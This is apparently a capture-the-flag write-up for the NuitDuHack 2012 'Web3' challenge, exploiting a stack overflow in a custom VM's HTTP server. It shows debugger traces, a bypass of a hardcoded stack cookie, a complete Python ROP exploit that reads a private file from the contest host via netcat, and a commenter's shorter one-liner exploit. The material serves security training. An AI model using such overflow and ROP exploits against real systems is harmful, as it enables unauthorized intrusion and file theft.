NuitDuHack 2012 Prequals – Web3.ndh

Our spy thinks that Sciteek staff is aware about the mole inside
their building. He is trying to read a private file named “sciteek-private.txt”
located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if
you are sucessfull, reply with a message entitled “complex remote service”.

Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.

Piotr

Web3.ndh
NDH Virtual Machine

Summary: rop exploit in a VM, avoiding hardcoded stack cookie

Previous challenges contained some interesting strings, so let’s check for strings in this binary too:

$ strings web3.ndh
.NDH
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70
<html><center><b>Exploit Me if you can ;)</b></html></center>
GET 
Cannot create server

Hmm it’s some kind of a HTTP server. Also there’s only “GET” in strings, not “HTTP/1.1” or other http markers. Looks like it’s wants a request only to start with “GET “. Let’s check:

$ ./vmndh -file web3.ndh 
GET blabla
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70
 
<html><center><b>Exploit Me if you can ;)</b></html></center>

Let’s try to overflow the request:

$ perl -e 'print "GET " . "A"x1024;' | ./vmndh -file web3.ndh
$

Just an exit! Let’s debug it:

$ ./vmndh -file web3.ndh -debug
[Console]#> run
...
0x81e8 > syscall (r0 = 0x0003 - read)
GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[SYSCALL output]: 517
0x81e9 > ret
0x84d8 > mov r0, r1
0x84dc > addl r8, #0x200
0x84e1 > pop r1
0x84e3 > cmpl r1, #0xbeef
0x84e8 > jz 0x01
0x84eb > end

r8 is actually like a esp on x86 – it’s a stack pointer. Adding 0x200 to it is like closing the stackframe.
The next word on the stack is compared to 0xbeef – it must be just a stack cookie!
Let’s check:

$ perl -e 'print "GET " . "\xef\xbe"x512;' | ./vmndh -file web3.ndh
[!] Segfault 0xbeef (out of range)

Yes, it’s jumping to 0xbeef! 0x200 is 512, let’s pad it:

$ perl -e 'print "GET " . "A"x508 . "\xef\xbe" . "\x42\x41";' | ./vmndh -file web3.ndh
[!] Segfault 0x4142 (opcode unknown)

So, we can jump to an arbitrary address. Let’s find out our buffer address:

$ ./vmndh -file web3.ndh -debug
[Console]#> bp 0x81e8
Breakpoint set in 0x81e8
[Console]#> run
...
[BreakPoint 1 - 0x81e8]
0x81e8 > syscall (r0 = 0x0003 - read)
GET blabla
[SYSCALL output]: 11
[Console]#> show sp
7bf2: d8 84 47 45 54 20 62 6c 61 62
# this is:  G  E  T     b  l  a  b

The address is 0x7bf8. Let’s check for NX:

$ perl -e 'print "GET " . "A"x508 . "\xef\xbe" . "\xf8\x7b";' | ./vmndh -file web3.ndh
[!] Segfault 0x7bf8 (opcode unknown)
$ perl -e 'print "GET " . "A"x508 . "\xef\xbe" . "\xf8\x7b";' | nc sci.nuitduhack.com 4005
[!] Segfault 0x7bf8 (NX bit)

Ahh, there’s NX bit enabled on the server! So we have to make a ROP payload. It’s easy to find some cool gadgets:

[Console]#> dis 81D2:6
0x81d2: movb r0, #0x02  <- SYS_OPEN
0x81d6: syscall
0x81d7: ret
 
[Console]#> dis 8229:7
0x8229: pop r3  \
0x822b: pop r2   |-> arguments for syscalls
0x822d: pop r1  /
0x822f: ret
 
[Console]#> dis 8198:5
0x8198: pop r1
0x819a: pop r0  <- syscall number
0x819c: ret

And here’s self-explaining exploit:

import sys
from struct import pack
 
fname_addr = 0x7bf8
buf = 0x0000
 
pop_r1_r0 = 0x8198
pop_r0 = 0x819a
pop_args = 0x8229
sys_open = 0x81d2
syscall = 0x81D6 
 
# fill stackframe
s = "GET sciteek-private.txt\x00".ljust(512, "A")
# stack cookie
s += "\xef\xbe"
 
# close(3)
s += pack("<H", pop_r1_r0)
s += pack("<H", 3)  # FD = 3
s += pack("<H", 5)  # SYS_CLOSE
s += pack("<H", syscall)
 
# open(filename, O_RDONLY, 0);
s += pack("<H", pop_args)
s += pack("<H", 0)          # FLAGS
s += pack("<H", 0)          # O_RDONLY
s += pack("<H", fname_addr) # FILENAME
 
s += pack("<H", sys_open) # FILENAME
 
# read(3, buf, 1000)
s += pack("<H", pop_args)
s += pack("<H", 1000) # SIZE
s += pack("<H", buf)  # BUF
s += pack("<H", 3)    # FD
 
s += pack("<H", pop_r0)
s += pack("<H", 3)    # SYS_READ
 
s += pack("<H", syscall)
 
# write(1, buf, size)
s += pack("<H", pop_args)
s += pack("<H", 1000) # SIZE
s += pack("<H", buf)  # BUF
s += pack("<H", 1)    # STDOUT
 
s += pack("<H", pop_r0)
s += pack("<H", 4)    # SYS_READ
 
s += pack("<H", syscall) # FILENAME
 
sys.stdout.write(s)

Run it:

$ py pay.py | nc sci.nuitduhack.com 4005
 
Dear Patrick,
 
We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
 
However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.
 
We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.
 
Sincerely,
 
David Markham.
[!] Segfault 0x0000 (NX bit)
$

Challenge solved!

2 comments

  1. Nice work!

    You could also have used the function at 0x8201. It takes in a filename in r0 and will send you the contents

    0x808e pop r0, ret
    0x7dfc addr filename
    0x8201 open_and_send

    ruby -e ‘print “\xef\xbe”*0x101 + “\x8e\x80” + “\xfc\x7d” + “\x01\x82” + “sciteek-private.txt”‘ | nc sciteek.nuitduhack.com 4005

    1. Oh, much easier! Thanks

Leave a Reply

Your email address will not be published.